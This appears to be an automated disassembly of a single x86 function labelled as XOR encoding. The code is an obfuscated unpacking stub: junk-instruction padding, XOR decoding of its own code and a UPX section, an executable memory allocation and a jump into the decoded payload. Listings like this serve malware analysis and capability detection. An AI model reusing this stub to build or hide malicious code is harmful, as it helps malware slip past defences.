Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x24660f23
and eax, edx
or edx, eax
add eax, 0x7a10cfde
popal
sub eax, 0xeb062fdd
add eax, 0x4c969d36
mov ebx, 0
mov esi, ecx
and edx, edx
sub edi, edx
mov eax, esi
not edi
sub edi, edx
mov ecx, eax
inc edx
add edi, 1
and edx, edx
inc ebx
add edi, edi
mov edi, 0x23f53f11
cmp ebx, 0x100a527
jne 0x47b456
sub edi, 1
and edx, edx
sub edx, edi
mov eax, 0x93e6582f
inc edx
sub edx, eax
mov ebx, 0x47b21e
dec edi
and ecx, ecx
mov esi, 0x47b412
mov edi, 0xca5f24ec
and eax, eax
mov edx, dword [ebx]
and eax, edi
dec ecx
and edx, 0xff
not edi
sub ecx, 1
xor dword [esi], edx
add edi, edi
add eax, 0xca1e72ce
inc ecx
add esi, 1
add ecx, 0xe9d1c4e3
inc edi
inc ebx
add eax, 0x29bbfe54
sub ecx, 1
cmp esi, entry0
jl 0x47b4a7
sub ecx, edi
mov edi, 0x6d1a0e82
mov edi, 0x3726ffbd
dec edi
dec ecx
add ecx, ecx
mov esi, 0x14f738a
inc esi
mov ecx, 0x47b416
sub edx, edi
mov ebx, 0xb84bc29e
mov ecx, dword [ecx]
add esi, edx
add edi, ebx
mov ecx, dword [ecx]
add edx, esi
add edi, 1
mov edx, 0xf02ce7a8
sub esp, 4
mov dword [esp], ecx
not edx
sub ebx, esi
add ebx, ebx
mov ecx, 0x47b412
inc ebx
not esi
dec ebx
mov ecx, dword [ecx]
add esi, edi
inc ebx
or ebx, ebx
mov ecx, dword [ecx]
not edi
mov ebx, 0x48a49604
push 0x47b41a
dec edx
not edx
call ecx
add edx, edi
dec edx
pop ecx
and esi, esi
sub esi, 0x82627e75
and edx, esi
push 0x47b427
sub edx, esi
add edi, edi
push eax
add ebx, edi
or edx, edi
call ecx
mov esi, 0xf33ebccb
or esi, ebx
dec edi
push 0x40
add edi, 1
or edi, edx
sub esi, 0xa6be3906
push 0x3000
not ebx
mov esi, edi
add edx, 0x7ab8b4aa
sub esp, 4
mov dword [esp], 0x20000ba5
sub edi, esi
or edx, edi
push 0
or edi, esi
dec edi
dec edi
call eax
sub ebx, edi
or esi, edx
dec ebx
add eax, 0x20000ae8
add esi, 1
sub ebx, edx
mov ecx, 0x98a05292
add edi, 0xdacbf986
add edx, edx
mov dword [eax], ecx
mov ebx, esi
add edx, 1
mov ecx, dword [eax]
mov edx, 0xa72720dc
sub esi, 1
cmp ecx, 0x98a05292
je 0x47b5f8
mov eax, 0
mov ecx, dword [eax]
and ebx, esi
add edx, esi
inc esi
sub edx, 0x23d215a9
sub edx, 0xb781a950
add ebx, 0xaacea307
mov edx, eax
add edx, eax
mov esi, section.UPX1
inc edx
or edx, eax
dec edx
mov ecx, 0x47b21d
and eax, edx
not eax
and eax, eax
mov edi, 0
mov eax, edx
mov eax, 0x2fe6c881
add eax, edx
mov ebx, 0x47b21e
add edx, 0x82b19380
sub eax, edx
lea ebx, [ebx + edi]
sub edx, 1
sub eax, edx
sub edx, 0x607bbb16
mov ebx, dword [ebx]
or eax, edx
sub eax, 0x35c129a6
and ebx, 0xff
add edx, edx
add edx, 0xfe76bd69
add edi, 1
mov eax, 0xe14c7436
not edx
cmp edi, 0x1f4
jne 0x47b685
mov edi, 0
sub eax, 0x6008f04d
or eax, eax
and eax, eax
not edx
xor dword [esi], ebx
not edx
add eax, 0x78715912
or eax, eax
add esi, 2
add eax, eax
or edx, eax
cmp esi, ecx
jl 0x47b635
add eax, eax
mov eax, edx
sub eax, 0x121a964a
add edx, 0xda4098bc
mov esi, section.UPX1
sub ebx, 0x27d80613
sub ebx, 0xb9bdc2a8
sub ecx, ebx
mov edx, section.UPX1
add ecx, ecx
add ecx, ecx
mov ecx, ebx
mov edi, 0x47b21d
mov ecx, 0x6546eba
dec ecx
add ebx, 0xddfe071b
mov eax, 0
add ecx, ebx
add ebx, 1
dec ecx
mov al, byte [edx]
add ecx, 0x19d17d8f
not ebx
mov byte [esi], al
sub ebx, ecx
inc ebx
inc esi
add ecx, ebx
or ecx, ecx
add edx, 2
not ecx
add ebx, 0x7060c4b7
cmp edx, edi
jle 0x47b6fc
and ecx, ecx
not ebx
not ebx
sub eax, 0x75329b02
mov eax, 0x5b32bff6
push 0x45e6a0
not edx
add edx, eax
inc eax
ret